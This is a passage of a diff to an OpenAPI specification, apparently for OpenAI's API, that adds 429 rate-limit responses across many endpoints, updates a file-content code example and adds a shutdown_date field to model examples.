$ref: '#/components/schemas/ConversationItem'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve an item
group: conversations
@@ -4084,6 +4128,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete an item
group: conversations
@@ -4148,6 +4194,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateEmbeddingResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create embeddings
group: embeddings
@@ -4275,6 +4323,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List evals
group: evals
@@ -4391,6 +4441,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create eval
group: evals
@@ -4573,6 +4625,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get an eval
group: evals
@@ -4674,6 +4728,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update an eval
group: evals
@@ -4793,6 +4849,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Error'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete an eval
group: evals
@@ -4878,6 +4936,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get eval runs
group: evals
@@ -5014,6 +5074,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Error'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create eval run
group: evals
@@ -5205,6 +5267,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRun'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get an eval run
group: evals
@@ -5408,6 +5472,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRun'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Cancel eval run
group: evals
@@ -5628,6 +5694,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Error'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete eval run
group: evals
@@ -5726,6 +5794,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItemList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get eval run output items
group: evals
@@ -5859,6 +5929,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItem'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get an output item of an eval run
group: evals
@@ -6302,13 +6374,14 @@ paths:
const openai = new OpenAI();
async function main() {
- const file = await openai.files.content("file-abc123");
+ const response = await openai.files.content("file-abc123");
+ const content = await response.text();
- console.log(file);
+ console.log(content);
}
main();
- description: Returns the contents of the specified file.
+ description: Returns a response containing the contents of the specified file.
/fine_tuning/alpha/graders/run:
post:
operationId: runGrader
@@ -8163,19 +8236,22 @@ paths:
"id": "model-id-0",
"object": "model",
"created": 1686935002,
- "owned_by": "organization-owner"
+ "owned_by": "organization-owner",
+ "shutdown_date": null
},
{
"id": "model-id-1",
"object": "model",
"created": 1686935002,
"owned_by": "organization-owner",
+ "shutdown_date": null
},
{
"id": "model-id-2",
"object": "model",
"created": 1686935002,
- "owned_by": "openai"
+ "owned_by": "openai",
+ "shutdown_date": "2026-10-23"
},
]
}
@@ -8243,7 +8319,8 @@ paths:
"id": "VAR_chat_model_id",
"object": "model",
"created": 1686935002,
- "owned_by": "openai"
+ "owned_by": "openai",
+ "shutdown_date": "2026-10-23"
}
description: Retrieves a model instance, providing basic information about the model such as the owner and permissioning.
delete:
@@ -8884,6 +8961,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListAuditLogsResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List audit logs
group: audit-logs
@@ -8995,6 +9074,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListCertificatesResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List organization certificates
group: administration
@@ -9045,6 +9126,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Upload certificate
group: administration
@@ -9095,6 +9178,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateActivationResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Activate certificates for organization
group: administration
@@ -9161,6 +9246,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateDeactivationResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Deactivate certificates for organization
group: administration
@@ -9237,6 +9324,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get certificate
group: administration
@@ -9289,6 +9378,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify certificate
group: administration
@@ -9335,6 +9426,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteCertificateResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete certificate
group: administration
@@ -9430,6 +9523,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Costs
group: usage-costs
@@ -9578,6 +9673,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List groups
group: administration
@@ -9624,6 +9721,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create group
group: administration
@@ -9667,6 +9766,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve group
group: administration
@@ -9713,6 +9814,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResourceWithSuccess'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update group
group: administration
@@ -9754,6 +9857,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupDeletedResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete group
group: administration
@@ -9815,6 +9920,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List group organization role assignments
group: administration
@@ -9881,6 +9988,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Assign organization role to group
group: administration
@@ -9945,6 +10054,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve group organization role
group: administration
@@ -10000,6 +10111,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Unassign organization role from group
group: administration
@@ -10064,6 +10177,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List group users
group: administration
@@ -10115,6 +10230,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupUserAssignment'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Add group user
group: administration
@@ -10162,6 +10279,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupMemberUser'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve group user
group: administration
@@ -10208,6 +10327,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupUserDeletedResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Remove group user
group: administration
@@ -10910,6 +11031,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListProjectCertificatesResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List project certificates
group: administration
@@ -10968,6 +11091,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateActivationResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Activate certificates for project
group: administration
@@ -11041,6 +11166,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateDeactivationResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Deactivate certificates for project
group: administration
@@ -11212,6 +11339,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List project groups
group: administration
@@ -11265,6 +11394,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Add project group
group: administration
@@ -11325,6 +11456,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve project group
group: administration
@@ -11371,6 +11504,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupDeletedResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Remove project group
group: administration
@@ -12687,6 +12822,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List organization roles
group: administration
@@ -12738,6 +12875,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create organization role
group: administration
@@ -12791,6 +12930,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve organization role
group: administration
@@ -12842,6 +12983,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update organization role
group: administration
@@ -12894,6 +13037,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete organization role
group: administration
@@ -13283,6 +13428,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Audio speeches
group: usage-audio-speeches
@@ -13416,6 +13563,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Audio transcriptions
group: usage-audio-transcriptions
@@ -13522,6 +13671,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Code interpreter sessions
group: usage-code-interpreter-sessions
@@ -13660,6 +13811,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Completions
group: usage-completions
@@ -13808,6 +13961,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Embeddings
group: usage-embeddings
@@ -13941,6 +14096,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: File search calls
group: usage-file-search-calls
@@ -14101,6 +14258,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Images
group: usage-images
@@ -14236,6 +14395,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Moderations
group: usage-moderations
@@ -14342,6 +14503,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Vector stores
group: usage-vector-stores
@@ -14484,6 +14647,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Web search calls
group: usage-web-search-calls
@@ -14758,6 +14923,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List user organization role assignments
group: administration
@@ -14824,6 +14991,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Assign organization role to user
group: administration
@@ -14889,6 +15058,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve user organization role
group: administration
@@ -14944,6 +15115,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Unassign organization role from user
group: administration
@@ -15010,6 +15183,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List project group role assignments
group: administration
@@ -15082,6 +15257,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Assign project role to group
group: administration
@@ -15152,6 +15329,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve project group role
group: administration
@@ -15213,6 +15392,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Unassign project role from group
group: administration
@@ -15275,6 +15456,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List project roles
group: administration
@@ -15333,6 +15516,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create project role
group: administration
@@ -15392,6 +15577,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve project role
group: administration
@@ -15449,6 +15636,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update project role
group: administration
@@ -15507,6 +15696,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete project role
group: administration
@@ -15574,6 +15765,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List project user role assignments
group: administration
@@ -15646,6 +15839,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Assign project role to user
group: administration
@@ -15717,6 +15912,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve project user role
group: administration
@@ -15778,6 +15975,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Unassign project role from user
group: administration
@@ -16321,6 +16520,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ResponseStreamEvent'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create a model response
group: responses
@@ -17566,6 +17767,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Response'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get a model response
group: responses
@@ -17670,6 +17873,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Error'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete a model response
group: responses
@@ -17726,6 +17931,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Error'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Cancel a response
group: responses
@@ -17852,6 +18059,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ResponseItemList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List input items
group: responses
@@ -17912,6 +18121,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create thread
group: threads
@@ -18036,6 +18247,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create thread and run
group: threads
@@ -18407,6 +18620,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve thread
group: threads
@@ -18476,6 +18691,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify thread
group: threads
@@ -18553,6 +18770,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteThreadResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete thread
group: threads
@@ -18645,6 +18864,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListMessagesResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List messages
group: threads
@@ -18751,6 +18972,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/MessageObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create message
group: threads
@@ -18839,6 +19062,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/MessageObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve message
group: threads
@@ -18927,6 +19152,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/MessageObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify message
group: threads
@@ -19023,6 +19250,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteMessageResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete message
group: threads
@@ -19113,6 +19342,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListRunsResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List runs
group: threads
@@ -19288,6 +19519,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create run
group: threads
@@ -19629,6 +19862,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve run
group: threads
@@ -19736,6 +19971,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify run
group: threads
@@ -19860,6 +20097,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Cancel a run
group: threads
@@ -19999,6 +20238,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListRunStepsResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List run steps
group: threads
@@ -20113,6 +20354,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunStepObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve run step
group: threads
@@ -20208,6 +20451,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Submit tool outputs to run
group: threads
@@ -20671,6 +20916,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoresResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List vector stores
group: vector_stores
@@ -20755,6 +21002,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create vector store
group: vector_stores
@@ -20825,6 +21074,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve vector store
group: vector_stores
@@ -20887,6 +21138,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify vector store
group: vector_stores
@@ -20960,6 +21213,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete vector store
group: vector_stores
@@ -21027,6 +21282,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create vector store file batch
group: vector_stores
@@ -21148,6 +21405,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve vector store file batch
group: vector_stores
@@ -21222,6 +21481,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Cancel vector store file batch
group: vector_stores
@@ -21337,6 +21598,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List vector store files in a batch
group: vector_stores
@@ -21451,6 +21714,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List vector store files
group: vector_stores
@@ -21531,6 +21796,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create vector store file
group: vector_stores
@@ -21608,6 +21875,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve vector store file
group: vector_stores
@@ -21675,6 +21944,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreFileResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete vector store file
group: vector_stores
@@ -21748,6 +22019,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update vector store file attributes
group: vector_stores
@@ -21799,6 +22072,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileContentResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve vector store file content
group: vector_stores
@@ -21846,6 +22121,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreSearchResultsPage'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Search vector store
group: vector_stores
@@ -21916,6 +22193,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create a conversation
group: conversations
@@ -22014,6 +22293,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve a conversation
group: conversations
@@ -22073,6 +22354,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedConversationResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete a conversation
group: conversations
@@ -22136,6 +22419,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Update a conversation
group: conversations
@@ -22503,6 +22788,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProvenanceResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create content provenance check
group: content_provenance_checks
@@ -23259,6 +23546,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/TokenCountsResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get input token counts
group: responses
@@ -23371,6 +23660,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CompactResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Compact a response
group: responses
@@ -23530,6 +23821,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Create a new skill.
get:
tags:
@@ -23565,6 +23858,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: List all skills for the current project.
/skills/{skill_id}:
delete:
@@ -23587,6 +23882,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Delete a skill by its ID.
get:
tags:
@@ -23608,6 +23905,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Get a skill by its ID.
post:
tags:
@@ -23634,6 +23933,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Update the default version pointer for a skill.
/skills/{skill_id}/content:
get:
@@ -23660,6 +23961,8 @@ paths:
application/json:
schema:
type: string
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Download a skill zip bundle by its ID.
/skills/{skill_id}/versions:
post:
@@ -23690,6 +23993,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Create a new immutable skill version.
get:
tags:
@@ -23732,6 +24037,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: List skill versions for a skill.
/skills/{skill_id}/versions/{version}:
get:
@@ -23761,6 +24068,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Get a specific skill version.
delete:
tags:
@@ -23789,6 +24098,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillVersionResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Delete a skill version.
/skills/{skill_id}/versions/{version}/content:
get:
@@ -23822,6 +24133,8 @@ paths:
application/json:
schema:
type: string
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
description: Download a skill version zip bundle.
/chatkit/sessions/{session_id}/cancel:
post:
@@ -24596,6 +24909,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/BetaResponseStreamEvent'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create a model response
group: responses
@@ -25868,6 +26183,8 @@ paths:
